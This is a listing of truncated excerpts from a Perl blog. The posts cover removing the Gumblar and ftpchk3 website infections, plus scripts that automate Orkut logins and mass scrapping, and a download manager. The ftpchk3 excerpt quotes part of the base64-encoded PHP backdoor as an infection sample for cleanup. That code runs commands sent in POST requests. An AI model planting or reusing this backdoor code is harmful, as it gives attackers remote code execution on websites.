http://digitalpbk.com/virus/gumblar-web-virus-manual-removal-free-tool
Gumblar Virus Javascript removal using
PERL
Gumblar virus infects all .html and .php files and injects a piece of javascript in the source code. The code is usually found just below the <body> tag. The Javascript code Gumblar injects varies widely and usually attaches a script or inline frame inside your page to execute itself on page load. Read on to get rid of this virus.
Gumblar Source Code Samples when delimited by new lines
Sample 1
var D;
if(D!='' ...
Published 2 years, 1 month ago
http://digitalpbk.blogspot.com/2009/10/ftpchk3-virus-php-pl-hacked-website.html
0YXJ0KCRzWyRpXVswXSk7ZWNobyAkc1skaV1bMV07fX19JGIwc3JsPSgoJGE9QHNldF9lcnJvcl9oYW5kbGVyKCdiMHNyMicpKSE9J2Iwc3IyJyk/JGE6MDtldmFsKGJhc2U2NF9kZWNvZGUoJF9QT1NUWydlJ10pKTs=')); ?>The code adds scripts to your code likeand executes codes coming via POST requests.Removal Backup your web directory, just in case something gets messed up.The following scripts scans files and removes most of the infection. I have written it to remove infected files from college website and it worked fine. Paste the following code in your web directory and execute. It renames infected files with file.infected and removes code from the file and updates your file to remove the code.#!/usr/bin/
perl ...
Published 2 years, 7 months ago
http://digitalpbk.blogspot.com/2007/05/perl-script-to-login-to-orkut.html
Perl Script to Login to Orkut
Finally Succeeded in making the
Perl Script that logs you into Orkut! Signing into Orkut is much more than a simple POST, Google is always clever so that they make things complex for automating the login process. Anyway here is the complex script, ..AlgorithmGoto www.orkut.comCheck whether the title is Home.If not find the source of login page IFRAMEFill the username and password and submit the FORM.Find the follow link from the next page.Goto the followlink ...
Published 5 years ago
http://digitalpbk.blogspot.com/2008/06/perl-download-manager.html
Perl Download Manager
IntroThis is my
PERL downloader program, with resume.Only works if SERVER has Parts enabled.Well pretty much thats it #!/usr/bin/perluse strict;use threads;use threads::shared;use HTTP::Request;use HTTP::Response;use Math::Round qw(nearest);use LWP;exit unless(defined $ARGV[0] && -e $ARGV[0]);open HND,$ARGV[0];NEXT:while(my $url = ){ my $file = substr($url,rindex($url,"/")+1); $file =~ s/%20/_/g; chomp $url; exit if($url eq "" || $file eq ...
Published 3 years, 11 months ago
http://digitalpbk.blogspot.com/2007/06/orkut-mass-scrapper-scrap-all-friends.html
Orkut
Perl Script - Login, Scrapper and more
IntroThis is a
PERL script that logs you into Orkut and allows you to scrap yiur friends. Following is the program and beneath it lies the manual to use the program. I assume that you already have
PERL installed on your system with the required modules:LWPWWW::MechanizeProgram#! /usr/bin/
perl -wuse WWW::Mechanize;use HTTP::Cookies;use HTTP::Request::Common;use subs qw(print_c login logout home grab proces scrap);#autoflush STDOUT 1;printf ...
Published 4 years, 11 months ago